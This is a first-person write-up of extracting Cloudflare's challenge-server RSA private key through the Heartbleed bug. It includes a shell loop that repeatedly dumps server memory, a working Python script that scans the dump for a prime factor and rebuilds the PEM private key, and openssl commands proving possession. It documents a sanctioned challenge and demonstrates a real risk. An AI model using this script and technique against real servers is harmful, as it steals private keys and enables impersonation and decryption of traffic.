Using the python code found here:
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| I wasn't first to get the key. Nor was I second, third, or even fourth. I'm probably not even the | |
| 10th to get it (ok, looks like I was the 8th.) But I'm happy that I was able to prove to myself | |
| that I too could do it. | |
| First, I have to admit I was a skeptic. Like the handful of other dissenters, I had initially | |
| believed that it would be highly improbable under normal conditions to obtain the private key | |
| through exploiting Heartbleed. So this was my motivation for participating in Cloudflare's | |
| challenge. I had extracted a lot of other things with Heartbleed, but I hadn't actually set out to | |
| extract private keys. So I wanted to see first-hand if it was possible or not. | |
| I started by hastily modifying the hb-test.py that everyone has been using to dump the raw memory | |
| contents to a file, rather than print a hexdump. I then left this running in the background for a | |
| (very long) while, as I set off to think of an approach. | |
| while true; do python hb-raw.py www.cloudflarechallenge.com; done | |
| My original thinking was that I could get a large sample of memory, then use some forensic analysis | |
| tools to search for keys in the memory dump. This idea went to the wayside, however, as I got | |
| sidetracked when I started seeing "BEGIN RSA PRIVATE KEY" strings in the script output. | |
| http://bindshell.nl/epixoip/cloudflare_key.png | |
| I thought it was too good to be true, but after parsing it out, it was indeed a valid private key, | |
| so I submitted it — unsuccessfully. This turned out to be the work of trolls who were sending | |
| private key contents in heartbeat requests to the server, and I fell for the trollbait. I found | |
| several more `private keys' in the dump, and I skeptically tested them anyway, just in case. But | |
| they were all fake as well. Fucking trolls. But at least I didn't fall for any of the keys that | |
| ended in "LOLJK" 😉 | |
| So, I decided to get back on track and stick to my original plan. After searching through some | |
| forensics mailing lists and reading some papers on the topic, my plan was to parse my dump file, | |
| looking for the start of a key in ASN.1 format ("\x30\x82"), and then parse out the key from there. | |
| While working on this approach, I had a conversation with Brandon Enright (@bmenrigh) on IRC. This | |
| conversation left me thinking that my approach won't work, because the chances of the key being in | |
| ASN.1 DER format in memory are about as slim as the key being in PEM format in memory. Brandon, | |
| however, suggested a much more reasonable approach: | |
| (19:25:15) < bmenrigh> But my plan would be to interpret all possible portions of the memory dump | |
| as however the P and Q factors get encoded and then just trial divide the N modulus from the SSL | |
| cert until you get one that divides | |
| (19:26:38) < bmenrigh> you only get up to about 64k of memory on each grab so if you interpret | |
| every offset as the start of the dump as whatever a private key looks like it just isn't many trial | |
| divisions | |
| By this time though, I had already been working on this for several hours, and it was Friday night, | |
| so I didn't want to spend any more time on it. However, I gave it some more thought over dinner, | |
| and the more I drank, the more I realized it was far more likely that the binary values of p, or q, | |
| or both, were in memory as-is. They likely wouldn't be encoded at all, so we can just shift through | |
| the memory dump in $keysize chunks, converting them to bignums and doing the trial divide as Brandon | |
| suggested. This would be really easy to code up and test, so I decided to call it an early night, | |
| and rushed home to work on it while the thought (and the liquor) were still fresh in my brain. | |
| The version of hb-test.py that I already had running in the background was dumping memory in 16 KiB | |
| chunks, not the full 64 KiB, so the plan would be to read the memory dump in 16 KiB chunks, | |
| shifting through each chunk in $keysize sections, testing to see if we have a prime that the | |
| modulus is divisible by. I sketched out the following psuedocode: | |
| while (chunk = fread (file, 16384)) | |
| { | |
| for (offset = 0; offset < len(chunk)-keysize; offset++) | |
| { | |
| p = bignum (chunk[offset-1] .. chunk[offset+keysize-1]) | |
| if (p is prime and modulus % p == 0) | |
| { | |
| q = modulus / p; | |
| print p, q; | |
| } | |
| } | |
| } | |
| After a few hours of testing and debugging, lo and behold, one of the primes is in my dump. Several | |
| times, even. From here, it is trivial to get the private key given p/q and the modulus. | |
| epixoip@token:~$ time python primecheck2.py cloudflare.raw $(openssl x509 -in cloudflare.pem -modulus -noout | cut -d'=' -f2) | |
| found prime in request 20 | |
| found prime in request 24 | |
| found prime in request 40 | |
| found prime in request 82 | |
| found prime in request 93 | |
| found prime in request 106 | |
| found prime in request 121 | |
| found prime in request 142 | |
| found prime in request 216 | |
| found prime in request 314 | |
| found prime in request 315 | |
| found 11 primes in 314982 requests | |
| real 456m13.414s | |
| user 455m22.688s | |
| sys 0m1.368s | |
| I ended up with the following script: | |
| import sys, base64, gmpy | |
| from pyasn1.codec.der import encoder | |
| from pyasn1.type.univ import * | |
| def main (): | |
| n = int (sys.argv[2], 16) | |
| keysize = n.bit_length() / 16 | |
| with open (sys.argv[1], "rb") as f: | |
| chunk = f.read (16384) | |
| while chunk: | |
| for offset in xrange (0, len (chunk) – keysize): | |
| p = long (''.join (["%02x" % ord (chunk[x]) for x in xrange (offset + keysize – 1, offset – 1, -1)]).strip(), 16) | |
| if gmpy.is_prime (p) and p != n and n % p == 0: | |
| e = 65537 | |
| q = n / p | |
| phi = (p – 1) * (q – 1) | |
| d = gmpy.invert (e, phi) | |
| dp = d % (p – 1) | |
| dq = d % (q – 1) | |
| qinv = gmpy.invert (q, p) | |
| seq = Sequence() | |
| for x in [0, n, e, d, p, q, dp, dq, qinv]: | |
| seq.setComponentByPosition (len (seq), Integer (x)) | |
| print "\n\n—–BEGIN RSA PRIVATE KEY—–\n%s—–END RSA PRIVATE KEY—–\n\n" % base64.encodestring(encoder.encode (seq)) | |
| sys.exit (0) | |
| chunk = f.read (16384) | |
| print "private key not found :(" | |
| if __name__ == '__main__': | |
| main() | |
| (I'm sorry if this code offends any python aficionados, but I do not write in python very often.) | |
| Putting it all together, | |
| epixoip@token:~$ while true; do python hb-raw.py www.cloudflarechallenge.com; done | |
| epixoip@token:~$ echo | openssl s_client -connect www.cloudflarechallenge.com:443 -showcerts | openssl x509 > cloudflare.pem | |
| depth=4 C = SE, O = AddTrust AB, OU = AddTrust External TTP Network, CN = AddTrust External CA Root | |
| verify error:num=19:self signed certificate in certificate chain | |
| verify return:0 | |
| DONE | |
| epixoip@token:~$ openssl x509 -pubkey -noout -in cloudflare.pem > cloudflare_pubkey.pem | |
| epixoip@token:~$ python extractkey.py cloudflare.raw $(openssl x509 -in cloudflare.pem -modulus -noout | cut -d'=' -f2) > cloudflare_privkey.pem | |
| epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign cloudflare_privkey.pem -sha1 >signed_proof.bin | |
| epixoip@token:~$ echo "epixoip has your key" | openssl dgst -verify cloudflare_pubkey.pem -signature signed_proof.bin -sha1 | |
| Verified OK | |
| And just so anyone else can verify it if they wish, | |
| epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign cloudflare_priv.pem -sha1 | base64 | |
| XQT3ZRp1zqK++UUZEWQkib2MX9tiUTN3VEA2G4mj4n86cmc0hTEAS2GO1AgkmoVgshFR/JYxlX74 | |
| s+DHPn4PbyAUB4eC+AqS6T+Wc6PR/Jo4XkF9MTsqLviB/jzSt0wl9pld2RbwMNAToE+HGu5vP4PZ | |
| wfW6P5E5HTb/lTsONSubJj9FhZWkDNJPn+d0l/8rS4e9AYvQRII8JGfXAa7BOHgT57qw5F03dE8n | |
| srtAu04CSpos25DdgZN47yCecMKETxWe3PeiyeMIbj6OyLdjF/+JUDeN85vXTUx0P7AzOqCeHNon | |
| 3uBX7CQZgpl30oaqdCFQcdIOhTb2QwdE3FvSzA== | |
| So there you have it. I submitted my proof to Cloudflare about 7 hours ago, so I effectively spent | |
| a whole day on it. I wasn't the first to get it, probably not even the 10th. And I did need some | |
| guidance (thanks Brandon!) But overall, I am pleased. The next step would be to integrate this into | |
| hb-test.py, or ideally just re-write the whole damn thing top-to-bottom in C. |
